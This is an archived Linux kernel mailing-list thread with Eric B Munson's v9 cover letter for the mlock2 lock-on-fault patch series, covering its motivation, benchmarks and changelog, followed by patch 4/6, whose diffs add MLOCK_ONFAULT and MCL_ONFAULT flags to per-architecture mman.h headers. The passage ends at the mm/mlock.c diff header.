Original-X-From: owner-linux-mm@kvack.org Tue Sep 08 15:59:20 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1ZZJQS-00043S-EI
	for glkm-linux-mm-2@m.gmane.org; Tue, 08 Sep 2015 15:59:08 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 5351D6B0255; Tue,  8 Sep 2015 09:59:06 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 4BDD06B0256; Tue,  8 Sep 2015 09:59:06 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 35FF96B0257; Tue,  8 Sep 2015 09:59:06 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-qk0-f175.google.com (mail-qk0-f175.google.com [209.85.220.175])
	by kanga.kvack.org (Postfix) with ESMTP id 053886B0255
	for <linux-mm@kvack.org>; Tue,  8 Sep 2015 09:59:06 -0400 (EDT)
Original-Received: by qkcf65 with SMTP id f65so43315521qkc.3
        for <linux-mm@kvack.org>; Tue, 08 Sep 2015 06:59:05 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:dkim-signature:from:to:cc:subject:date
         :message-id;
        bh=61hZXFEGIt6OpEjpkFaIeMo9dVhJhbC7hRiL8ihBQZ8=;
        b=LbTeCF5A/IOvL16msokXP3Bjy4t9TwdRAmpf3xVKuzsM5RM/Rqb2f9M1XuU2v1R4TO
         bC1BuCw3R02wPxIIW9H/En1b1/ObDmdWLrK8h1K8/s5/9W5tJEy+6kVZtQC+C/NwNBZQ
         lOcyn526gwR+DK8yNJpmeA5YwI2OSs69oWfZBM5pu9cfVJznn3XoAYx3t3FdaqOUWJwt
         lDBGsBLegLYqvT150Ahskwm31y2r1vX4tOvd1nI8TJKf1Xlypt3E2xxqaf1LbUjOgs8H
         Ri2dNM6UpPwtHrQmcqTnGwTJD5e5ZpREOcaPhlQxNr6FJTeTGQhqdhJu4635IYjV7/JR
         hm9g==
X-Gm-Message-State: ALoCoQnluFOn8OmrrHmOqXRMra4hpA7SfWM5b92AwkayHXt3OXni7Drua5uoAy+UTEHKMcGJZhOOzyw8eYHvbiKieUGYMN0WLvTfNCtikhRajrkDPgzbNligD9Dt7SSeqCwl0LJdMM9Yp/GFmIjkyOEBrUGX5HogCkJ+mb6S4In/+6lRThDKcjQpCvhyHavaTPnLsBnHaUlV
X-Received: by 10.55.24.78 with SMTP id j75mr35625432qkh.95.1441720745737;
        Tue, 08 Sep 2015 06:59:05 -0700 (PDT)
X-Received: by 10.55.24.78 with SMTP id j75mr35625211qkh.95.1441720744181;
        Tue, 08 Sep 2015 06:59:04 -0700 (PDT)
Original-Received: from prod-mail-xrelay05.akamai.com ([23.79.238.179])
        by mx.google.com with ESMTP id 67si3818489qhd.107.2015.09.08.06.59.03
        for <linux-mm@kvack.org>;
        Tue, 08 Sep 2015 06:59:04 -0700 (PDT)
Received-SPF: pass (google.com: domain of emunson@akamai.com designates 23.79.238.179 as permitted sender) client-ip=23.79.238.179;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of emunson@akamai.com designates 23.79.238.179 as permitted sender) smtp.mailfrom=emunson@akamai.com;
       dkim=pass (test mode) header.i=@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay05.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id BCE1243412E;
	Tue,  8 Sep 2015 13:59:03 +0000 (GMT)
Original-Received: from prod-mail-relay11.akamai.com (prod-mail-relay11.akamai.com [172.27.118.250])
	by prod-mail-xrelay05.akamai.com (Postfix) with ESMTP id A5EF1434128;
	Tue,  8 Sep 2015 13:59:03 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=akamai.com; s=a1;
	t=1441720743; bh=61hZXFEGIt6OpEjpkFaIeMo9dVhJhbC7hRiL8ihBQZ8=;
	l=9670; h=From:To:Cc:Date:From;
	b=R8XzdT2s+z4ZIZsIUUPj97OBqTbBwLqWmtal/eE8k1T4VS+qFN1bCClve3yUC8a+B
	 APjZPzrZrG8F1/Aszas//WrgIO96y/+EuLOIl3fg9OrjAM8Sa4sVaJKOBqDvFFrkrp
	 R4WPIKXOqV4EVsoA2UXmAo3mf9iiorvmGDGemei8=
Original-Received: from bos-lp6ds.kendall.corp.akamai.com (bos-lp6ds.kendall.corp.akamai.com [172.28.12.119])
	by prod-mail-relay11.akamai.com (Postfix) with ESMTP id 8BD202026;
	Tue,  8 Sep 2015 13:59:03 +0000 (GMT)
X-Mailer: git-send-email 1.9.1
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:138212 gmane.linux.ports.alpha:3383 gmane.linux.kernel:2034257 gmane.linux.ports.mips.general:50287 gmane.linux.ports.parisc:26021 gmane.linux.ports.ppc64.devel:117703 gmane.linux.ports.sparc:21562 gmane.linux.kernel.cross-arch:29041 gmane.linux.kernel.api:13931
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/138212>

Since this set has not been merge yet, here is a respin that drops the
export of VM_LOCKONFAULT to the rmap code.

---

mlock() allows a user to control page out of program memory, but this
comes at the cost of faulting in the entire mapping when it is
allocated.  For large mappings where the entire area is not necessary
this is not ideal.  Instead of forcing all locked pages to be present
when they are allocated, this set creates a middle ground.  Pages are
marked to be placed on the unevictable LRU (locked) when they are first
used, but they are not faulted in by the mlock call.

This series introduces a new mlock() system call that takes a flags
argument along with the start address and size.  This flags argument
gives the caller the ability to request memory be locked in the
traditional way, or to be locked after the page is faulted in.  A new
MCL flag is added to mirror the lock on fault behavior from mlock() in
mlockall().

There are two main use cases that this set covers.  The first is the
security focussed mlock case.  A buffer is needed that cannot be written
to swap.  The maximum size is known, but on average the memory used is
significantly less than this maximum.  With lock on fault, the buffer
is guaranteed to never be paged out without consuming the maximum size
every time such a buffer is created.

The second use case is focussed on performance.  Portions of a large
file are needed and we want to keep the used portions in memory once
accessed.  This is the case for large graphical models where the path
through the graph is not known until run time.  The entire graph is
unlikely to be used in a given invocation, but once a node has been
used it needs to stay resident for further processing.  Given these
constraints we have a number of options.  We can potentially waste a
large amount of memory by mlocking the entire region (this can also
cause a significant stall at startup as the entire file is read in).
We can mlock every page as we access them without tracking if the page
is already resident but this introduces large overhead for each access.
The third option is mapping the entire region with PROT_NONE and using
a signal handler for SIGSEGV to mprotect(PROT_READ) and mlock() the
needed page.  Doing this page at a time adds a significant performance
penalty.  Batching can be used to mitigate this overhead, but in order
to safely avoid trying to mprotect pages outside of the mapping, the
boundaries of each mapping to be used in this way must be tracked and
available to the signal handler.  This is precisely what the mm system
in the kernel should already be doing.

For mlock(MLOCK_ONFAULT) the user is charged against RLIMIT_MEMLOCK as
if mlock(MLOCK_LOCKED) or mmap(MAP_LOCKED) was used, so when the VMA is
created not when the pages are faulted in.  For mlockall(MCL_ONFAULT)
the user is charged as if MCL_FUTURE was used.  This decision was made
to keep the accounting checks out of the page fault path.

To illustrate the benefit of this set I wrote a test program that mmaps
a 5 GB file filled with random data and then makes 15,000,000 accesses
to random addresses in that mapping.  The test program was run 20 times
for each setup.  Results are reported for two program portions, setup
and execution.  The setup phase is calling mmap and optionally mlock on
the entire region.  For most experiments this is trivial, but it
highlights the cost of faulting in the entire region.  Results are
averages across the 20 runs in milliseconds.

mmap with mlock(MLOCK_LOCKED) on entire range:
Setup avg:      8228.666
Processing avg: 8274.257

mmap with mlock(MLOCK_LOCKED) before each access:
Setup avg:      0.113
Processing avg: 90993.552

mmap with PROT_NONE and signal handler and batch size of 1 page:
With the default value in max_map_count, this gets ENOMEM as I attempt
to change the permissions, after upping the sysctl significantly I get:
Setup avg:      0.058
Processing avg: 69488.073
mmap with PROT_NONE and signal handler and batch size of 8 pages:
Setup avg:      0.068
Processing avg: 38204.116

mmap with PROT_NONE and signal handler and batch size of 16 pages:
Setup avg:      0.044
Processing avg: 29671.180

mmap with mlock(MLOCK_ONFAULT) on entire range:
Setup avg:      0.189
Processing avg: 17904.899

The signal handler in the batch cases faulted in memory in two steps to
avoid having to know the start and end of the faulting mapping.  The
first step covers the page that caused the fault as we know that it will
be possible to lock.  The second step speculatively tries to mlock and
mprotect the batch size - 1 pages that follow.  There may be a clever
way to avoid this without having the program track each mapping to be
covered by this handeler in a globally accessible structure, but I could
not find it.  It should be noted that with a large enough batch size
this two step fault handler can still cause the program to crash if it
reaches far beyond the end of the mapping.

These results show that if the developer knows that a majority of the
mapping will be used, it is better to try and fault it in at once,
otherwise mlock(MLOCK_ONFAULT) is significantly faster.

The performance cost of these patches are minimal on the two benchmarks
I have tested (stream and kernbench).  The following are the average
values across 20 runs of stream and 10 runs of kernbench after a warmup
run whose results were discarded.

Avg throughput in MB/s from stream using 1000000 element arrays
Test     4.2-rc1      4.2-rc1+lock-on-fault
Copy:    10,566.5     10,421
Scale:   10,685       10,503.5
Add:     12,044.1     11,814.2
Triad:   12,064.8     11,846.3

Kernbench optimal load
                 4.2-rc1  4.2-rc1+lock-on-fault
Elapsed Time     78.453   78.991
User Time        64.2395  65.2355
System Time      9.7335   9.7085
Context Switches 22211.5  22412.1
Sleeps           14965.3  14956.1

---
Changes from V8:
* Do not expose VM_LOCKONFAULT flag to rmap code
* Rebase on top of userfaultfd code

Changes from V7:
* Do not expose the VM_LOCKONFAULT flag to userspace via proc
* Fix mlock2 self tests

Changes from V6:
* Bump the x86 system call number to avoid collision with userfaultfd
* Fix FOLL_POPULATE and FOLL_MLOCK usage when mmap is called with
 MAP_POPULATE
* Add documentation for the proc smaps change
* checkpatch fixes

Changes from V5:
Drop MLOCK_LOCKED flag
* MLOCK_ONFAULT and MCL_ONFAULT are treated as a modifier to other locking
 operations, mirroring the relationship between VM_LOCKED and
 VM_LOCKONFAULT
* Drop mmap flag and related tests
* Fix clearing of MCL_CURRENT when mlockall is called with MCL_FUTURE,
 mlockall behavoir now matches the old behavior WRT to ordering

Changes from V4:
Drop all architectures for new sys call entries except x86[_64] and MIPS
Drop munlock2 and munlockall2
Make VM_LOCKONFAULT a modifier to VM_LOCKED only to simplify book keeping
Adjust tests to match

Changes from V3:
Ensure that pages present when mlock2(MLOCK_ONFAULT) is called are locked
Ensure that VM_LOCKONFAULT is handled in cases that used to only check VM_LOCKED
Add tests for new system calls
Add missing syscall entries, fix NR_syscalls on multiple arch's
Add missing MAP_LOCKONFAULT for tile

Changes from V2:
Added new system calls for mlock, munlock, and munlockall with added
flags arguments for controlling how memory is locked or unlocked.


Eric B Munson (6):
  mm: mlock: Refactor mlock, munlock, and munlockall code
  mm: mlock: Add new mlock system call
  mm: Introduce VM_LOCKONFAULT
  mm: mlock: Add mlock flags to enable VM_LOCKONFAULT usage
  selftests: vm: Add tests for lock on fault
  mips: Add entry for new mlock2 syscall

 arch/alpha/include/uapi/asm/mman.h          |   3 +
 arch/mips/include/uapi/asm/mman.h           |   6 +
 arch/mips/include/uapi/asm/unistd.h         |  15 +-
 arch/mips/kernel/scall32-o32.S              |   1 +
 arch/mips/kernel/scall64-64.S               |   1 +
 arch/mips/kernel/scall64-n32.S              |   1 +
 arch/mips/kernel/scall64-o32.S              |   1 +
 arch/parisc/include/uapi/asm/mman.h         |   3 +
 arch/powerpc/include/uapi/asm/mman.h        |   1 +
 arch/sparc/include/uapi/asm/mman.h          |   1 +
 arch/tile/include/uapi/asm/mman.h           |   1 +
 arch/x86/entry/syscalls/syscall_32.tbl      |   1 +
 arch/x86/entry/syscalls/syscall_64.tbl      |   1 +
 arch/xtensa/include/uapi/asm/mman.h         |   6 +
 include/linux/mm.h                          |   5 +
 include/linux/syscalls.h                    |   2 +
 include/uapi/asm-generic/mman-common.h      |   5 +
 include/uapi/asm-generic/mman.h             |   1 +
 include/uapi/asm-generic/unistd.h           |   4 +-
 kernel/fork.c                               |   3 +-
 kernel/sys_ni.c                             |   1 +
 mm/debug.c                                  |   1 +
 mm/gup.c                                    |  10 +-
 mm/huge_memory.c                            |   2 +-
 mm/hugetlb.c                                |   4 +-
 mm/mlock.c                                  |  86 +++-
 mm/mmap.c                                   |   2 +-
 tools/testing/selftests/vm/Makefile         |   2 +
 tools/testing/selftests/vm/mlock2-tests.c   | 737 ++++++++++++++++++++++++++++
 tools/testing/selftests/vm/on-fault-limit.c |  47 ++
 tools/testing/selftests/vm/run_vmtests      |  22 +
 31 files changed, 938 insertions(+), 38 deletions(-)
 create mode 100644 tools/testing/selftests/vm/mlock2-tests.c
 create mode 100644 tools/testing/selftests/vm/on-fault-limit.c

Cc: Shuah Khan <shuahkh@osg.samsung.com>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: Michael Kerrisk <mtk.manpages@gmail.com>
Cc: Vlastimil Babka <vbabka@suse.cz>
Cc: Jonathan Corbet <corbet@lwn.net>
Cc: Ralf Baechle <ralf@linux-mips.org>
Cc: Andrea Arcangeli <aarcange@redhat.com>
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: sparclinux@vger.kernel.org
Cc: linux-xtensa@linux-xtensa.org
Cc: linux-mm@kvack.org
Cc: linux-arch@vger.kernel.org
Cc: linux-api@vger.kernel.org

-- 
1.9.1

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: [PATCH v9 4/6] mm: mlock: Add mlock flags to enable VM_LOCKONFAULT usage
Date: Tue,  8 Sep 2015 09:59:00 -0400
Lines: 293
Approved: news@gmane.org
Message-ID: <1441720742-7803-5-git-send-email-emunson@akamai.com>
References: <1441720742-7803-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1441720776 25428 80.91.229.3 (8 Sep 2015 13:59:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 8 Sep 2015 13:59:36 +0000 (UTC)
Cc: Eric B Munson <emunson@akamai.com>,
	Michal Hocko <mhocko@suse.cz>,
	Vlastimil Babka <vbabka@suse.cz>,
	Jonathan Corbet <corbet@lwn.net>,
	"Kirill A. Shutemov" <kirill@shutemov.name>,
	linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org,
	linux-mm@kvack.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Tue Sep 08 15:59:25 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1ZZJQe-0004DR-ON
	for glkm-linux-mm-2@m.gmane.org; Tue, 08 Sep 2015 15:59:21 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 0A1766B0259; Tue,  8 Sep 2015 09:59:13 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id EF6F56B025A; Tue,  8 Sep 2015 09:59:12 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id DE4C96B025B; Tue,  8 Sep 2015 09:59:12 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-qk0-f176.google.com (mail-qk0-f176.google.com [209.85.220.176])
	by kanga.kvack.org (Postfix) with ESMTP id B4B4C6B0259
	for <linux-mm@kvack.org>; Tue,  8 Sep 2015 09:59:12 -0400 (EDT)
Original-Received: by qkfq186 with SMTP id q186so43383400qkf.1
        for <linux-mm@kvack.org>; Tue, 08 Sep 2015 06:59:12 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:dkim-signature:from:to:cc:subject:date
         :message-id:in-reply-to:references;
        bh=p+zdY/dMlLnt24o1E2skLQC/qjA64IwOtLxfej4N5FY=;
        b=lMJRkNWxH8EPU0wy/dX3ZVPce8t+FjgQw9K0XNicDwxayY8lr0TJtim2lwxnuTENLQ
         OrsBS38QbhuSoxuWIsjNKGszRs/K0Z8LP3b8HqdcoYFl/vfl0m+bss9glgJZJF3+Jx2f
         2Y+QXdLA+dT8B56ec1sziUYS4XD04NHmwK8sZSGTXCBcRxmKrJxDKDwqFTwB/DdDqmHS
         OE2rhMvgbfuf20UNk6SaCNd4YMPo96OnBCICf3twViweWVniABPVmmH5LW6ZXbS3UGlG
         sjxUhgeAHxU3v+vk5AJoFNRRJhTL5O8tkrX16ki4tdRNHoZjYlr53t5AGN4duApOOn8G
         ULbw==
X-Gm-Message-State: ALoCoQnPIO3ziGHodhJYW0q70pGnajhrHH5BiSxQmLEH/Yq9nIzeE9gAolGeOcG2UxNFltkpck3O1u33r8SKQYbS0mOFTmd9RQEaPpoU7PTEi6OKQoYWD/Nt43xRUUFcSzdGx7HJtP116J2TIjsueApt31liaNLW0p/7tGnYBaRsokkvh7DZDtW6pPDl1FSEreCC8mEsikiG
X-Received: by 10.55.19.31 with SMTP id d31mr34960928qkh.37.1441720752488;
        Tue, 08 Sep 2015 06:59:12 -0700 (PDT)
X-Received: by 10.55.19.31 with SMTP id d31mr34959842qkh.37.1441720744841;
        Tue, 08 Sep 2015 06:59:04 -0700 (PDT)
Original-Received: from prod-mail-xrelay05.akamai.com ([23.79.238.179])
        by mx.google.com with ESMTP id u1si3792687qge.12.2015.09.08.06.59.04
        for <linux-mm@kvack.org>;
        Tue, 08 Sep 2015 06:59:04 -0700 (PDT)
Received-SPF: pass (google.com: domain of emunson@akamai.com designates 23.79.238.179 as permitted sender) client-ip=23.79.238.179;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of emunson@akamai.com designates 23.79.238.179 as permitted sender) smtp.mailfrom=emunson@akamai.com;
       dkim=pass (test mode) header.i=@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay05.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 6F881434145;
	Tue,  8 Sep 2015 13:59:04 +0000 (GMT)
Original-Received: from prod-mail-relay11.akamai.com (prod-mail-relay11.akamai.com [172.27.118.250])
	by prod-mail-xrelay05.akamai.com (Postfix) with ESMTP id 4AD3B434140;
	Tue,  8 Sep 2015 13:59:04 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=akamai.com; s=a1;
	t=1441720744; bh=p+zdY/dMlLnt24o1E2skLQC/qjA64IwOtLxfej4N5FY=;
	l=10875; h=From:To:Cc:Date:In-Reply-To:References:From;
	b=FAuVAzgRuL0DYaes+KY1MVXyChfAWGHYlrrFskCniSY0LrkqMHwvyE254PYZCZ2S6
	 cNuB4Jds2iu9tf3pVvFkG2gi66RzkT5WY7NUUxjAvHSZCYnk3cpPdql86mrlTjc5A8
	 8taSpOQ9sqCX8b6xnCIJDoR9GY9SILs/PF1EC/yw=
Original-Received: from bos-lp6ds.kendall.corp.akamai.com (bos-lp6ds.kendall.corp.akamai.com [172.28.12.119])
	by prod-mail-relay11.akamai.com (Postfix) with ESMTP id 31CDD202D;
	Tue,  8 Sep 2015 13:59:04 +0000 (GMT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1441720742-7803-1-git-send-email-emunson@akamai.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:138213 gmane.linux.ports.alpha:3384 gmane.linux.kernel:2034258 gmane.linux.ports.mips.general:50288 gmane.linux.ports.parisc:26022 gmane.linux.ports.ppc64.devel:117704 gmane.linux.ports.sparc:21563 gmane.linux.kernel.cross-arch:29042 gmane.linux.kernel.api:13932
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/138213>

The previous patch introduced a flag that specified pages in a VMA
should be placed on the unevictable LRU, but they should not be made
present when the area is created.  This patch adds the ability to set
this state via the new mlock system calls.

We add MLOCK_ONFAULT for mlock2 and MCL_ONFAULT for mlockall.
MLOCK_ONFAULT will set the VM_LOCKONFAULT modifier for VM_LOCKED.
MCL_ONFAULT should be used as a modifier to the two other mlockall
flags.  When used with MCL_CURRENT, all current mappings will be marked
with VM_LOCKED | VM_LOCKONFAULT.  When used with MCL_FUTURE, the
mm->def_flags will be marked with VM_LOCKED | VM_LOCKONFAULT.  When used
with both MCL_CURRENT and MCL_FUTURE, all current mappings and
mm->def_flags will be marked with VM_LOCKED | VM_LOCKONFAULT.

Prior to this patch, mlockall() will unconditionally clear the
mm->def_flags any time it is called without MCL_FUTURE.  This behavior
is maintained after adding MCL_ONFAULT.  If a call to
mlockall(MCL_FUTURE) is followed by mlockall(MCL_CURRENT), the
mm->def_flags will be cleared and new VMAs will be unlocked.  This
remains true with or without MCL_ONFAULT in either mlockall()
invocation.

munlock() will unconditionally clear both vma flags.  munlockall()
unconditionally clears for VMA flags on all VMAs and in the
mm->def_flags field.

Signed-off-by: Eric B Munson <emunson@akamai.com>
Acked-by: Vlastimil Babka <vbabka@suse.cz>
Acked-by: Michal Hocko <mhocko@suse.com>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: Vlastimil Babka <vbabka@suse.cz>
Cc: Jonathan Corbet <corbet@lwn.net>
Cc: "Kirill A. Shutemov" <kirill@shutemov.name>
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: sparclinux@vger.kernel.org
Cc: linux-xtensa@linux-xtensa.org
Cc: linux-arch@vger.kernel.org
Cc: linux-api@vger.kernel.org
Cc: linux-mm@kvack.org
---
 arch/alpha/include/uapi/asm/mman.h     |  3 ++
 arch/mips/include/uapi/asm/mman.h      |  6 ++++
 arch/parisc/include/uapi/asm/mman.h    |  3 ++
 arch/powerpc/include/uapi/asm/mman.h   |  1 +
 arch/sparc/include/uapi/asm/mman.h     |  1 +
 arch/tile/include/uapi/asm/mman.h      |  1 +
 arch/xtensa/include/uapi/asm/mman.h    |  6 ++++
 include/uapi/asm-generic/mman-common.h |  5 ++++
 include/uapi/asm-generic/mman.h        |  1 +
 mm/mlock.c                             | 52 +++++++++++++++++++++++++---------
 10 files changed, 66 insertions(+), 13 deletions(-)

diff --git a/arch/alpha/include/uapi/asm/mman.h b/arch/alpha/include/uapi/asm/mman.h
index 0086b47..f2f9496 100644
--- a/arch/alpha/include/uapi/asm/mman.h
+++ b/arch/alpha/include/uapi/asm/mman.h
@@ -37,6 +37,9 @@
 
 #define MCL_CURRENT	 8192		/* lock all currently mapped pages */
 #define MCL_FUTURE	16384		/* lock all additions to address space */
+#define MCL_ONFAULT	32768		/* lock all pages that are faulted in */
+
+#define MLOCK_ONFAULT	0x01		/* Lock pages in range after they are faulted in, do not prefault */
 
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
diff --git a/arch/mips/include/uapi/asm/mman.h b/arch/mips/include/uapi/asm/mman.h
index cfcb876..97c03f4 100644
--- a/arch/mips/include/uapi/asm/mman.h
+++ b/arch/mips/include/uapi/asm/mman.h
@@ -61,6 +61,12 @@
  */
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
+
+/*
+ * Flags for mlock
+ */
+#define MLOCK_ONFAULT	0x01		/* Lock pages in range after they are faulted in, do not prefault */
 
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/uapi/asm/mman.h
index 294d251..ecc3ae1 100644
--- a/arch/parisc/include/uapi/asm/mman.h
+++ b/arch/parisc/include/uapi/asm/mman.h
@@ -31,6 +31,9 @@
 
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
+
+#define MLOCK_ONFAULT	0x01		/* Lock pages in range after they are faulted in, do not prefault */
 
 #define MADV_NORMAL     0               /* no further special treatment */
 #define MADV_RANDOM     1               /* expect random page references */
diff --git a/arch/powerpc/include/uapi/asm/mman.h b/arch/powerpc/include/uapi/asm/mman.h
index 6ea26df..03c06ba 100644
--- a/arch/powerpc/include/uapi/asm/mman.h
+++ b/arch/powerpc/include/uapi/asm/mman.h
@@ -22,6 +22,7 @@
 
 #define MCL_CURRENT     0x2000          /* lock all currently mapped pages */
 #define MCL_FUTURE      0x4000          /* lock all additions to address space */
+#define MCL_ONFAULT	0x8000		/* lock all pages that are faulted in */
 
 #define MAP_POPULATE	0x8000		/* populate (prefault) pagetables */
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
diff --git a/arch/sparc/include/uapi/asm/mman.h b/arch/sparc/include/uapi/asm/mman.h
index 0b14df3..9765896 100644
--- a/arch/sparc/include/uapi/asm/mman.h
+++ b/arch/sparc/include/uapi/asm/mman.h
@@ -17,6 +17,7 @@
 
 #define MCL_CURRENT     0x2000          /* lock all currently mapped pages */
 #define MCL_FUTURE      0x4000          /* lock all additions to address space */
+#define MCL_ONFAULT	0x8000		/* lock all pages that are faulted in */
 
 #define MAP_POPULATE	0x8000		/* populate (prefault) pagetables */
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
diff --git a/arch/tile/include/uapi/asm/mman.h b/arch/tile/include/uapi/asm/mman.h
index 81b8fc3..63ee13f 100644
--- a/arch/tile/include/uapi/asm/mman.h
+++ b/arch/tile/include/uapi/asm/mman.h
@@ -36,6 +36,7 @@
  */
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
 
 
 #endif /* _ASM_TILE_MMAN_H */
diff --git a/arch/xtensa/include/uapi/asm/mman.h b/arch/xtensa/include/uapi/asm/mman.h
index 201aec0..360944e 100644
--- a/arch/xtensa/include/uapi/asm/mman.h
+++ b/arch/xtensa/include/uapi/asm/mman.h
@@ -74,6 +74,12 @@
  */
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
+
+/*
+ * Flags for mlock
+ */
+#define MLOCK_ONFAULT	0x01		/* Lock pages in range after they are faulted in, do not prefault */
 
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
diff --git a/include/uapi/asm-generic/mman-common.h b/include/uapi/asm-generic/mman-common.h
index ddc3b36..a74dd84 100644
--- a/include/uapi/asm-generic/mman-common.h
+++ b/include/uapi/asm-generic/mman-common.h
@@ -25,6 +25,11 @@
 # define MAP_UNINITIALIZED 0x0		/* Don't support this flag */
 #endif
 
+/*
+ * Flags for mlock
+ */
+#define MLOCK_ONFAULT	0x01		/* Lock pages in range after they are faulted in, do not prefault */
+
 #define MS_ASYNC	1		/* sync memory asynchronously */
 #define MS_INVALIDATE	2		/* invalidate the caches */
 #define MS_SYNC		4		/* synchronous memory sync */
diff --git a/include/uapi/asm-generic/mman.h b/include/uapi/asm-generic/mman.h
index e9fe6fd..7162cd4 100644
--- a/include/uapi/asm-generic/mman.h
+++ b/include/uapi/asm-generic/mman.h
@@ -17,5 +17,6 @@
 
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
 
 #endif /* __ASM_GENERIC_MMAN_H */
diff --git a/mm/mlock.c b/mm/mlock.c
index ffcec2e..ddbfda7 100644
--- a/mm/mlock.c
+++ b/mm/mlock.c
